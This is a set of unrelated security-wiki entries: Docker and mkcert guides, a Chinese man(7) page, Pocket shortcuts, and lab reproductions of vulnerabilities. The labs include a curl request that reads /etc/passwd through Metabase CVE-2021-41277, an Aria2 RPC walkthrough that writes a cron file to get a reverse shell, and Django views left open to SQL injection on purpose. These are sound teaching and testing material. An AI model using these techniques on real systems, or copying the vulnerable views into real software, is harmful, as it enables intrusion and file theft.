```shell
docker image prune
```
Remove all images which are not used by existing containers
```shell
docker image prune -a
```
### Volumes
```shell
docker volume prune
```
Remove all volumes not used by at least one container
Miscellaneous {.cols-2}
-------------
### Docker Hub
| Docker Syntax | Description |
|-----------------------------|-------------------------------------|
| `docker search search_word` | Search docker hub for images. |
| `docker pull user/image ` | Downloads an image from docker hub. |
| `docker login ` | Authenticate to docker hub |
| `docker push user/image ` | Uploads an image to docker hub. |
### Registry commands {.row-span-3}
Login to a Registry
```shell script
$ docker login
$ docker login localhost:8080
```
Logout from a Registry
```shell script
$ docker logout
$ docker logout localhost:8080
```
Searching an Image
```shell script
$ docker search nginx
$ docker search nginx --stars=3 --no-trunc busybox
```
Pulling an Image
```shell script
$ docker pull nginx
$ docker pull eon01/nginx localhost:5000/myadmin/nginx
```
Pushing an Image
```shell script
$ docker push eon01/nginx
$ docker push eon01/nginx localhost:5000/myadmin/nginx
```
### Batch clean
| Example | Description |
|-------------|---------------------------------------------|
`docker stop -f $(docker ps -a -q)` | Stopping all containers
`docker rm -f $(docker ps -a -q)` | Removing all containers
`docker rmi -f $(docker images -q)` | Removing all images
### Volumes
Check volumes
```shell script
$ docker volume ls
```
Cleanup unused volumes
```shell script
$ docker volume prune
```
|
sec-knowleage
|
mkcert
===
用来生成自签证书的工具
## 示例
`mkcert` 是 GO 编写的,一个简单的**零配置**的用来生成自签证书的工具。
下面给一个简单的示例,在本地生成自签证书,并使用让 nc 使用生成的证书。
```zsh
~ ········································································································································· 10:46:25
❯ mkcert -install
The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍
~ ········································································································································· 10:46:34
❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1
Created a new certificate valid for the following names 📜 - "example.com"
- "*.example.com"
- "example.test"
- "localhost"
- "127.0.0.1"
- "::1"
Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️
The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅
It will expire on 30 January 2025 🗓
~ ········································································································································· 10:47:37
❯ ls
公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar
模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src
~ ········································································································································· 10:47:55
❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1589
Ncat: Listening on 0.0.0.0:1589
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:39156.
Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0)
```
`mkcert` 自动生成并安装一个本地 CA 到 root stores,并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器,不过,这取决于你。
## 安装
> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。
### macOS
```bash
$ brew install mkcert
$ brew install nss # 如果用 Firefox 的话
```
### Linux
在 Linux 上,首先要安装 `certutil`
```bash
$ sudo apt install libnss3-tools
# -or-
$ sudo yum install nss-tools
# -or-
$ sudo pacman -S nss
# -or-
$ sudo zypper install mozilla-nss-tools
```
然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。
```bash
$ brew install mkcert
```
或者从源码构建(要求 Go 1.13+)
```bash
git clone https://github.com/FiloSottile/mkcert && cd mkcert
go build -ldflags "-X main.Version=$(git describe --tags)"
```
又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
```bash
$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64"
$ chmod +x mkcert-v*-linux-amd64
$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert
```
对于 Arch Linux 用户(比如我),[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。
```bash
$ sudo pacman -S mkcert
```
### Windows
使用 [Chocolatey](https://chocolatey.org/)
```bash
$ choco install mkcert
```
或者使用 Scoop
```bash
$ scoop bucket add extras
$ scoop install mkcert
```
或者从源码构建(要求 Go 1.10+) ,或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
如果遇到权限问题,请使用管理员运行 `mkcert`
## 支持的 root stores
`mkcert` 支持以下 root stores:
- macOS system store
- Windows system store
- Linux 发行版提供
- `update-ca-trust` (Fedora,RHEL,CentOS)或者
- `update-ca-certificates` (Ubuntu,Debian,OpenSUSE,SLES)或者
- `trust` (Arch)
- Firefox (仅 macOS 和 Linux)
- Chrome 和 Chromium
- Java(当 `JAVA_HOME` 被设置时)
为了把 local root CA 装到这些 root stores 中,你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项:"system","java" 和 "nss"(包括了 Firefox)。
## 高级 topics
### 高级选项
```bash
-cert-file FILE, -key-file FILE, -p12-file FILE
# 自定义输出路径.
-client # 生成供客户端认证使用的证书.
-ecdsa # 生成使用一个 ECDSA (一种椭圆曲线签名算法)key 来生成证书.
-pkcs12 # 生成一个 ".p12" PKCS #12 文件,也可以被识别为 ".pfx" 文件,
# 包含 cert 和 key for legacy applications.
-csr CSR # 生成一个给予 CSR(证书签名申请) 的证书。
# 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突!
```
[SSL 证书 什么是CSR?-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367)
> **请注意!** 你必须把这些选项放在域名列表之前。
### 例如
```bash
mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com
```
### S/MIME (邮件安全证书)
用下面这种方式 `mkcert` 会生成一个 S/MIME 证书:
```bash
mkcert filippo@example.com
```
### 移动设备
对于要让移动设备信任证书的情况,你得安装 root CA。就是 `rootCA.pem` 这个文件,可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。
在 iOS 上,你也可以使用 AirDrop,把 CA 邮件发给你自己,或者通过一个 HTTP server 提供它。在打开它之后,你需要 [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。
对于 Android ,你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。
### 用 Node.js 来使用这个 root
Node 不使用 system root store,所以它不会自动接受 `mkcert` 证书。相反,你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。
```bash
export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem"
```
### 改变 CA 文件的位置
CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置,因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。
如果你想要管理单独的 CA 们,你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。
### 在其它系统上安装 CA
安装 trust store 不需要 CA key(只要 CA),所以你可以导出 CA,并且使用 `mkcert` 来安装到其它机器上。
- 找到 `rootCA.pem` 文件,可以用 `mkcert -CAROOT` 找到对应目录。
- 把它 copy 到别的机器上。
- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。
- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`,其它发行版可以用自带的命令手动添加来信任 CA)
请千万记住 `mkcert` 是用于开发目的的,不建议用于生产,所以它不应该被用到用户终端上,并且你不应该导出或者共享 `rootCA-key.pem` 。
|
sec-knowleage
|
.\" (C) Copyright 1992-1999 Rickard E. Faith and David A. Wheeler
.\" (faith@cs.unc.edu and dwheeler@ida.org)
.\"
.\" Permission is granted to make and distribute verbatim copies of this
.\" manual provided the copyright notice and this permission notice are
.\" preserved on all copies.
.\"
.\" Permission is granted to copy and distribute modified versions of this
.\" manual under the conditions for verbatim copying, provided that the
.\" entire resulting derived work is distributed under the terms of a
.\" permission notice identical to this one
.\"
.\" Since the Linux kernel and libraries are constantly changing, this
.\" manual page may be incorrect or out-of-date. The author(s) assume no
.\" responsibility for errors or omissions, or for damages resulting from
.\" the use of the information contained herein. The author(s) may not
.\" have taken the same level of care in the production of this manual,
.\" which is licensed free of charge, as they might when working
.\" professionally.
.\"
.\" Formatted or processed versions of this manual, if unaccompanied by
.\" the source, must acknowledge the copyright and authors of this work.
.\"
.\" Modified Sun Jul 25 11:06:05 1993 by Rik Faith (faith@cs.unc.edu)
.\" Modified Sat Jun 8 00:39:52 1996 by aeb
.\" Modified Wed Jun 16 23:00:00 1999 by David A. Wheeler (dwheeler@ida.org)
.\" Modified Thu Jul 15 12:43:28 1999 by aeb
.\" [todo: split this into man.7 describing the macros
.\" and manpage.7 describing the Linux man page conventions]
.\"
.TH MAN 7 1999-06-16 "Linux" "Linux Programmer's Manual"
.SH NAME
man \- 格式化手册页的宏
.SH "总览 SYNOPSIS"
.B groff \-Tascii \-man
.I file
\&...
.LP
.B groff \-Tps \-man
.I file
\&...
.LP
.B man
.RI [ section ]
.I title
.SH "描述 DESCRIPTION"
此手册页解释了
.B "groff tmac.man"
宏包 (通常叫做
.B man
宏包) 以及相关的创建手册页的惯例。
开发者可以使用这个宏包来为 linux 书写或移植手册文档。
它与其他版本的这个宏包一般是兼容的,因此移植不是一个大问题
(但是 NET-2 BSD 发布中使用了一个完全不同的宏包叫做 mdoc,参见
.BR mdoc (7)).
.PP
注意 NET-2 BSD mdoc 手册页也可以使用
.B groff
处理,只要指定
.B \-mdoc
选项而不是
.B \-man
选项。推荐使用
.B \-mandoc
选项,因为这样会自动判断应当使用哪一个。
.SH "导言 PREAMBLE"
一篇手册页的第一个命令 (注释行之后) 应当是
.RS
.sp
.B \&.TH
.IR "title section date source manual" ,
.sp
.RE
这里:
.RS
.TP 10
.I title
手册页的标题 (例如,
.IR MAN ).
.TP
.I section
手册页的章节号应当放在这里 (例如,
.IR 7 ).
.TP
.I date
最后修改日期 -- 记住要在每次修改过此手册页之后修改它,
这样可以方便地进行版本控制
.TP
.I source
命令的来源
.sp
对于二进制文件,使用这样的表述:
.IR GNU ", " NET-2 ", " "SLS Distribution" ", " "MCC Distribution" .
.sp
对于系统调用,使用它适用的内核版本来表述:
.IR "Linux 0.99.11" .
.sp
对于库调用,使用函数的来源来表述:
.IR GNU ", " "BSD 4.3" ", " "Linux DLL 4.4.1" .
.TP
.I manual
手册的标题 (例如:
.IR "Linux Programmer's Manual" ).
.RE
.PP
注意 BSD mdoc 格式的手册页以
.B Dd
命令开始,而不是
.B TH
命令
.PP
手册章节传统上如下定义:
.RS
.TP 10
.B 1 Commands
用户可从 shell 运行的命令
.TP
.B 2 System calls
必须由内核完成的功能
.TP
.B 3 Library calls
大多数
.I libc
函数,例如
.BR qsort (3))
.TP
.B 4 Special files
.IR /dev )
目录中的文件
.TP
.B 5 File formats and conventions
.I /etc/passwd
等人类可读的文件的格式说明
.TP
.B 6 Games
.TP
.B 7 Macro packages and conventions
文件系统标准描述,网络协议,ASCII 和其他字符集,还有你眼前这份文档以及其他东西
.TP
.B 8 System management commands
类似
.BR mount (8)
等命令,大部分只能由
.I root
执行
.TP
.B 9 Kernel routines
这是废弃的章节。
原来曾想把一些关于核心的文件放在这里,
但是实际上只有极少数可以写成文件放在这里,而且它们也很快过时了。
核心开发者可以找到其他更好的资源。
.RE
.SH "段 SECTIONS"
段以
.B \&.SH
开始,后跟标题名。如果标题包含空格并且和
.BR \&.SH
在同一行,则需在标题上加双引号。
传统的或建议的标题包括:
NAME, 总览 SYNOPSIS, 描述 DESCRIPTION, 返回值 RETURN VALUE,
退出状态 EXIT STATUS, 错误处理 ERROR HANDLING, 错误 ERRORS,
选项 OPTIONS, 用法 USAGE, 示例 EXAMPLES, 文件 FILES,
环境 ENVIRONMENT, 诊断 DIAGNOSTICS, 安全 SECURITY,
遵循 CONFORMING TO, 注意 NOTES,
BUGS, 作者 AUTHOR, 和 参见 SEE ALSO.
在适合使用约定标题的地方,请使用它;
这样做可以使文章更易读、易懂。
不过,只要您的标题能够增加易懂性,请放心使用。
唯一必须的标题是
.IR NAME ,
他应是手册页的第一段,后面应紧跟对该命令的简单描述。比如:
.RS
.sp
\&.SH NAME
.br
chess \\- the game of chess
.sp
.RE
请一定要按照这个格式来写,注意在短横线 (dash `-') 前要有个斜杠 (slash `\').
这种语法结构在
.BR makewhatis (8)
程序为
.BR whatis (1)
和
.BR apropos (1)
命令建立简短命令描述时要用到。
.PP
其他约定段的内容应为:
.TP 14
.B 总览 SYNOPSIS
简要描述命令或函数接口。
对命令,显示他的命令和参数(包括各种选项);黑体表示各种参数,
下划线(或斜体字)表示可以替换的选项;
方括号[]中的是可选项,竖线 | 用于把几个选项间隔开,
小括号()中的部分可以自动重复。
对函数,显示需要的数据声明或需
.B #include
包含的项目,后跟函数声明。
.TP
.B 描述 DESCRIPTION
解释命令、函数或格式的用途。
说明其如何与文件及标准输入交互,他们的标准输出及标准错误。
必须要指明的细节。描述一般情况。
选项和参数信息放在 OPTIONS(选项)段。
如果有语法说明和一些复杂的设定,
建议把它们放到 USAGE(用法)段(本段中最好只写一个概要)。
.TP
.B 返回值 RETURN VALUE
列出程序或函数会返回的值,指出引发返回值的条件或原因。
.TP
.B 退出状态 EXIT STATUS
列出可能的退出状态的值,指出引起返回的程序或原因。
.TP
.B 选项 OPTIONS
指出程序可用的选项,及其作用。
.TP
.B 用法 USAGE
描述程序的较高级的使用方法。
.TP
.B 示例 EXAMPLES
provides one or more examples describing how this function, file or
command is used.
.TP
.B 文件 FILES
列出程序或函数使用到的文件,
比如配置文件、启动文件和程序直接操作的文件。
给出文件的绝对路径,
使用安装程序调整这些路径以使其与用户的实际情况相符。
对大多数程序来说,缺省的安装路径是 /usr/local,
所以你的文件要与此一致。
.TP
.B 环境 ENVIRONMENT
列出影响你的程序的所有环境变量,并说明影响的原因。
.TP
.B 诊断 DIAGNOSTICS
写出常会出现的错误概述,并说明解决的办法。
你无需解释系统错误信息或信号,
除非它们会影响到您的程序。
.TP
.B 安全 SECURITY
讨论安全问题和相关话题。对应予避免的配置和环境,
可能有安全隐患的命令等等给出警告,
特别是当它们不是很明显时。
单独用一段来讨论安全并不必要;如果比较好理解的话,把它放在其他段中
(比如 描述 或 用法 段)。但是,最好加上它。
.TP
.B 遵循 CONFORMING TO
描述它实现的任何标准或约定
.TP
.B 注意 NOTES
提供杂项注意事项
.TP
.B BUGS
列出局限、已知的缺点或不便之处,还有其他可能存在的问题。
.TP
.B 作者 AUTHOR
列出程序或文件作者,联系办法等。
.TP
.B 参见 SEE ALSO
以字母顺序列出相关的手册页(man pages)。通常来讲,这是一个手册页的最后一段。
.SH 字体 FONTS
虽然在 UNIX 世界中有各种对手册页(man pages)的不同约定,
但在 linux 系统下存在一个字体的标准:
.IP
对函数,其参数通常用下划线(或斜体),
.IR "在总览(SYNOPSIS)中也是这样"
,其他部分用黑体。
例如
.RS
.BI "int myfunction(int " argc ", char **" argv );
.RE
.IP
文件名用下划线(或斜体),例如,.IR "/usr/include/stdio.h" ),
但在总览(SYNOPSIS)中,包含的文件用黑体,例如
.BR "#include <stdio.h>" ).
.IP
专用宏,一般大写表示,用黑体(如:
.BR MAXINT ).
.IP
列举错误代号时,代号用黑体(这种列举通常使用
.B \&.TP
宏命令)。
.IP
对其他手册页的引用(或本页中某主体的引用)用黑体。
手册章节号用普通体(如:
.BR man (7)).
设置字体的宏命令如下:
.TP 4
.B \&.B
黑体
.TP
.B \&.BI
黑体和下划线(或斜体)交替(描述函数时非常有用)
.TP
.B \&.BR
黑体和普通体交替(描述引用时非常有用)
.TP
.B \&.I
下划线(或斜体)
.TP
.B \&.IB
下划线(或斜体)和黑体交替
.TP
.B \&.IR
普通体和下划线(或斜体)交替
.TP
.B \&.RB
普通体和下划线(或斜体)交替
.TP
.B \&.RI
小号字和黑体交替
.TP
.B \&.SB
小号字和黑体交替
.TP
.B \&.SM
小号字(用于缩写)
.LP
按照惯例,每个命令最多可以有六个小节的参数,
但是 GNU 去除了这个限制。小节之间以空格隔开。
如果某小节含有空格,则需要给其加上双引号。
各小节在显示时无间隔,所以
.B \&.BR
命令可以指定一个黑体的词,
后跟一个普通体的标点。如果命令后无参数,则命令作用于下一行。
.SH "其他宏命令和字符串 OTHER MACROS AND STRINGS"
.PP
下面是其他一些相关的宏和预定义的字符串。
除非指明,否则所有的宏在本行文本结束时终止。
多数宏使用“流行缩进”(prevailing indent)方式。
“流行缩进”的值由紧跟着宏命令的
.I i
值指定,如果不指定,那就会使用当前的“流行缩进”值。
这样,连续的缩进段就可使用相同的缩进值而不需要重新指定。
普通段(不缩进)将“流行缩进”值重值为缺省值(0.5 英寸)。
缺省时,缩进是有规则的 en(s):用 en(s) 或者 em(s) 作为缩进的单位,
因为它们会自动地调整字体的大小。
(注:度量距离有不同的单位,当请求需要用到不同的距离时,可以使用默认
类型来修饰数字,度量单位是英寸,厘米,pica,en,em,点,unit和垂直行距。
1pica等于1/6英寸,1em等于字母m的宽度,默认宽度取决于troff中使用
的字体。En是em的一半。)
其他宏命令定义如下:
.SS "普通段(无缩进) Normal Paragraphs"
.TP 9m
.B \&.LP
与
.B \&.PP
相同(开始一个新段)
.TP
.B \&.P
与
.B \&.PP
相同(开始一个新段)
.TP
.B \&.PP
开始一个新段,重置“流行缩进”值。
.SS "相对缩进 Relative Margin Indent"
.TP 9m
.BI \&.RS " i"
开始相对缩进 -- 把左边界右移
.I i
(如果不指定
.I i
值,则使用“流行缩进”值 )。
同时设定“流行缩进”值为 0.5 英寸。
直到使用
.BR \&.RE
结束这些设定。
.TP
.B \&.RE
结束相对缩进同时把“流行缩进”恢复原值。
.SS "缩进 Indented Paragraph Macros"
.TP 9m
.BI \&.HP " i"
开始悬挂式缩进(段的第一行从左边揭开时,其余缩进显示)
.TP
.BI \&.IP " x i"
在段上标签
.I x
。如果不指定
.I x
,则整个段缩进
.I i
。如果指定了
.I x
,则
.I x
之前的段不缩进,之后的段缩进(有些象
.B \&.TP
,不过
.I x
是跟在命令后面而不是在下一行)。
如果
.I x
太长,后面的文本会挪到下一行(文本不会丢 失或割断)。
.PP
做公告列表,可以用 \e(bu (bullet) 或 \e(em (em dash).
要用数字或字母列表, 可以用\&.IP 1. 或 \&.IP A. 这样转换成其他 格式就简单了。
.TP
.BI \&.TP " i"
在段上悬挂标签。标签在下一行指定,但是结果和
.B \&.IP
相像。
.SS "超文本链接宏 Hypertext Link Macros"
.TP 9m
.BI \&.UR " u"
建立一个超文本链接到 URI (URL)
.IR u ;
并以
.B UE
结束。当转换为 HTML 格式时,他会转换为
\fB<A HREF="\fP\fIu\fP\fB">\fP.
有个例外:如果
.I u
是特殊字符 “ :”,则之后不能建立任何超级链接,直到以
.B UE
结束(这用来在不需要超级链接时禁止他)。
.B ":"
LALR(1)
.PP
这个宏比较新,很多程序可能并不对他进行处理。但是由于很多工具 (包括 troff) 简单地忽略未定义宏
(或者最坏的将它们插入到文本中), 插入它们是安全的
.TP
.BI \&.UE
结束相应的
.B UR
超级链接。转换为HTML后是
\fB</A>\fP.
.TP
.BI \&.UN " u"
给超级联接指定名称为
.IR u ;
不需要以
.B UE
UE 结束。转换为 HTML 后为:
\fB<A NAME="\fP\fIu\fP\fB" id="\fP\fIu\fP\fB"> </A>\fP
(the is optional if support for Mosaic is unneeded).
.SS "杂项宏 Miscellaneous Macros"
.TP 9m
.B \&.DT
重置 tab 值为缺省(每一个0.5英寸)。不引起中断。
.TP
.BI \&.IX " \&... "
插入索引信息(方便搜索系统工作,或打印索引列表)。
在页中索引信息不能正常显示。
如果只有一个参数,
参数作为独立的索引项指向手册页的内容。
如果有两个参数,他可能是 Perl 手册页格式;
第一个参数指定类型名
(命令名,标题 ,题头,子段货源素之一),
第二个参数指明自己的索引名。
另外,长索引形式:每个参数是一个索引项,
次级索引项,再次级索引项,等等直到以空参数结束,
然后是程序名参数,\em,还有一小段描述。
还可能在跟上一个空参数,有可能是页控制信息
(如: PAGE START)。举例如下:
"programmingtools""make""""\fLmake\fP\(em build programs".
.TP
.BI \&.PD " d"
在段中间垂直距离空开 d (如果不指定,则缺省为 d=0.4v),不引起中断。
.TP
.BI \&.SS " t"
子标题
.I t
象是
.BR \&.SH ,
但是作为段中的字标题使用)
.SS "预定义字符串 Predefined Strings"
.B man
预定义了下列字符串
.IP \e*R
注册符号: \*R
.IP \e*S
改变成缺省字体大小
.IP \e*(Tm
商标符号: \*(Tm
.IP \e*(lq
左双引号: \*(lq
.IP \e*(rq
右双引号: \*(rq
.SH "安全子集 SAFE SUBSET"
理论上
.B man
是一个 troff 宏命令包,实际上很多工具程序没有支持所有的 man 宏命令。
因此,为了这些程序可以正常工作最好忽略 troff 的一些比较另类的宏。
避免使用各种不同的 troff 预处理程序
(如果必须的话,用
.BR tbl (1)
吧,
但是在建立双列表时请使用
.B IP
和
.B TP
命令)。避免使用计算;大多数其他程序不能处理他。
使用简单的命令比较容易转换为其他格式。
下面的宏命令一般认为是安全的(虽然多数时候他们都被忽略了):
.BR \e" ,
.BR . ,
.BR ad ,
.BR bp ,
.BR br ,
.BR ce ,
.BR de ,
.BR ds ,
.BR el ,
.BR ie ,
.BR if ,
.BR fi ,
.BR ft ,
.BR hy ,
.BR ig ,
.BR in ,
.BR na ,
.BR ne ,
.BR nf ,
.BR nh ,
.BR ps ,
.BR so ,
.BR sp ,
.BR ti ,
.BR tr .
.PP
你还可能使用 troff 转义字符(这些转移符号以 \e 开始)。
但你要在文本中显示反斜线时,用\ee。
其他转义字符包括:
.BR \e' ,
.BR \e` ,
.BR \e- ,
.BR \e. ,
.BR \e" ,
.BR \e% ,
.BR \e*x ,
.BR \e*(xx ,
.BR \e(xx ,
.BR \e$N ,
.BR \enx ,
.BR \en(xx ,
.BR \efx ,
和
.BR \ef(xx .
其中 x、xx 是任意字符,N 是任意数字不要使用转义字符来画图。
.PP
不要随意使用
.B bp
(break page(中断页))。
.B sp
(vertical space(垂直距离)只应使用正值。
不要用
.RB ( de )
(define(定义)定义与现有的宏同名的宏(无论 man 或 mdoc);
这种重新定义可能会被忽略。
每个正缩进
.RB ( in )
应对应一个负缩进(即使在使用 RS 和 RE 是也不例外)。
The condition test
.RB ( if,ie )
should only have 't' or 'n' as the condition.
可以使用的只有可忽略的转换
.RB ( tr ) .
改变字体命令
.RB ( ft
和 \fB\ef\fP 转义序列) 只能带如下参数: 1, 2, 3, 4, R, I, B, P, or CW
(ft 命令也可以不带参数)。
.PP
如果你是用更多的功能,用各种程序仔细察看一下结果。
如果你肯定某功能是安全的,请告诉我们,以便把他增加到这个列表中。
.SH "注意 NOTES"
.PP
尽量在文本中包含完整的 URL(或URIs);
一些工具软件(如:
.BR man2html (1)
)能够自动把它们转换为超级链接。
您也可用
.B UR
命令指定链接到相关信息。
输入完整的 URL(如:<http://www.kernel-notes.org> )。
.PP
Tools processing these files should open the file and examine the first
non-whitespace character.
以(.)或(')开始一行,表明是基于 troff 的文件(如: man 或 mdoc)。
如果是(<)表明基于 SGML/XML (如:HTML 或 Docbook).
其他可能是纯文本。(例如 "catman" 的结果)
.PP
有些 man 以'\e"和空格再加字符列开始,表示他的预处理方法。
为了 troff 翻译器程序处理起来简单一些,
您仅应使用
.BR tbl (1),
而不是其他什么东东,Linux 可以检测到这一点。
不过,你或许想要包含这些信息以使其可以在其他系统得到处理。
下面是预处理调用的定义:
.TP 3
.B e
eqn(1)
.TP
.B g
grap(1)
.TP
.B p
pic(1)
.TP
.B r
refer(1)
.TP
.B t
tbl(1)
.TP
.B v
vgrind(1)
.SH "文件 FILES"
.IR /usr/share/groff/ [*/] tmac/tmac.an
.br
.I /usr/man/whatis
.SH BUGS
.PP
大多数宏命令描述的是格式(比如:字体和空格)而不是内容描述(比如: 这段文字指向另外一页),
与 mdoc 和 DocBook 正好相反(HTML 也有比较多的内容描述)。
这使得
.B man
难以转换为其他形式,不容易与其他文件组合或自动插入交叉引用。
遵照以上的安全说明,就比较容易在将来把他转换为其他格式。
.LP
The Sun macro
.B TX
下不能用。
.SH "作者 AUTHOR"S
.IP \(em 3m
James Clark (jjc@jclark.com) wrote the implementation of the macro package.
.IP \(em
Rickard E. Faith (faith@cs.unc.edu) wrote the initial version of
this manual page.
.IP \(em
Jens Schweikhardt (schweikh@noc.fdn.de) wrote the Linux Man-Page Mini-HOWTO
(which influenced this manual page).
.IP \(em
David A. Wheeler (dwheeler@ida.org) heavily modified this
manual page, such as adding detailed information on sections and macros.
.SH "参见 SEE ALSO"
.BR apropos (1),
.BR groff (1),
.BR man (1),
.BR man2html (1),
.BR mdoc (7),
.BR mdoc.samples (7),
.BR whatis (1)
.SH "[中文版维护人]"
.B RedCandle <redcandle51@chinaren.com>
.SH "[中文版最新更新]"
.BR 2003.11.25
.SH "《中国linux论坛man手册翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
---
title: Pocket
date: 2022-11-23 16:23:31.702053
background: bg-[#d54d57]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 36 keyboard shortcuts found on Pocket for Web
---
Keyboard Shortcuts
------------------
### Viewing Your List
Shortcut | Action
---|---
`G` `L` | Go to My List
`G` `A` | Go to Archive
`G` `F` | Go to Favorites
`G` `R` | Go to Articles
`G` `H` | Go to Highlights
`G` `V` | Go to Videos
`G` `T` | Go to All Tags
`G` `S` | Go to Search
`G` `B` | Bulk Edit
`G` `U` | Save a URL
`S` `N` | Sort by Newest
`S` `O` | Sort by Oldest
`V` `L` | List View
`V` `G` | Grid View
`V` `D` | Detail View
`C` `L` | Change to Light Theme
`C` `D` | Change to Dark Theme
`C` `S` | Change to Sepia Theme
`?` | Open Help Overlay
{.shortcuts}
### Item Actions
Shortcut | Action
---|---
`O` | Open the original in a new tab
`A` | Archive the selected item
`F` | Favorite the selected item
`T` | Tag the selected item
`D` | Delete the selected item
`X` | Select item in bulk edit
`J` | Select the next item
`K` | Select the previous item
{.shortcuts}
### Article View
Shortcut | Action
---|---
`Ctrl` `=` | Increase the font size
`Ctrl` `-` | Decrease the font size
`B` | Toggle full screen mode
`D` | Edit tags
`T` | Archive the item
`F` | Favorite the item
`O` | View the original
`Alt` `=` | Increase the column width (premium only)
`Alt` `-` | Decrease the column width (premium only)
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Pocket](https://help.getpocket.com/article/994-keyboard-shortcuts-in-pocket-for-web) _(help.getpocket.com)_
|
sec-knowleage
|
# Metabase Pre-Auth Local File Inclusion (CVE-2021-41277)
[中文版本(Chinese version)](README.zh-cn.md)
Metabase is an open source data analytics platform. In affected versions (x.40.0-x.40.4) a security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support, unauthenticated attackers can use this vulnerability to read local file (including environment variables).
References:
- <https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr>
- <https://github.com/tahtaciburak/CVE-2021-41277>
## Environment Setup
Execute following command to start a Metabase server 0.40.4:
```
docker compose up -d
```
After the server is started, you can browse the `http://your-ip:3000` to see the installation instructions like that:

Fill in your information, and skip the data source form.
## Vulnerability Reproduce
Simplely use the CURL to exploit this flaw:
```
curl -v http://your-ip:3000/api/geojson?url=file:////etc/passwd
```
As you can see, `/etc/passwd` has been exposed successfully.

|
sec-knowleage
|
# Aria2 任意文件写入漏洞
Aria2是一个命令行下轻量级、多协议、多来源的下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、Metalink),内建XML-RPC和JSON-RPC接口。在有权限的情况下,我们可以使用RPC接口来操作aria2来下载文件,将文件下载至任意目录,造成一个任意文件写入漏洞。
参考文章:[https://paper.seebug.org/120/][1]
## 环境搭建
启动漏洞环境:
```
docker compose up -d
```
6800是aria2的rpc服务的默认端口,环境启动后,访问`http://your-ip:6800/`,发现服务已启动并且返回404页面。
## 漏洞复现
因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/ 。
打开yaaw,点击配置按钮,填入运行aria2的目标域名:`http://your-ip:6800/jsonrpc`:

然后点击Add,增加一个新的下载任务。在Dir的位置填写下载至的目录,File Name处填写文件名。比如,我们通过写入一个crond任务来反弹shell:

这时候,arai2会将恶意文件(我指定的URL)下载到/etc/cron.d/目录下,文件名为shell。而在debian中,/etc/cron.d目录下的所有文件将被作为计划任务配置文件(类似crontab)读取,等待一分钟不到即成功反弹shell:

> 如果反弹不成功,注意crontab文件的格式,以及换行符必须是`\n`,且文件结尾需要有一个换行符。
当然,我们也可以尝试写入其他文件,更多利用方法可以参考[这篇文章][1]
[1]: https://paper.seebug.org/120/
|
sec-knowleage
|
from django.shortcuts import render, HttpResponse
from django.contrib.gis.geos import Point
from django.contrib.gis.measure import D
from django.contrib.gis.db.models.functions import Distance
from django.contrib.gis.db.models import Union
from .models import Collection, Collection2
# Create your views here.
def vuln(request):
query = request.GET.get('q', default=0.05)
qs = Collection.objects.annotate(
d=Distance(
Point(0.01, 0.01, srid=4326),
Point(0.01, 0.01, srid=4326),
tolerance=query,
),
).filter(d=D(m=1)).values('name')
return HttpResponse(qs)
def vuln2(request):
query = request.GET.get('q')
qs = Collection2.objects.aggregate(
Union('point', tolerance=query),
).values()
return HttpResponse(qs)
|
sec-knowleage
|
# apache-users包说明
这个Perl脚本程序会列出所有使用Apache UserDir模块中的用户名
[apache-users首页](https://labs.portcullis.co.uk/) | [Kali apache-users仓库](http://git.kali.org/gitweb/?p=packages/apache-users.git;a=summary)
作者: Andy@Portcullis
协议: GPLv2
apache-users包中的工具
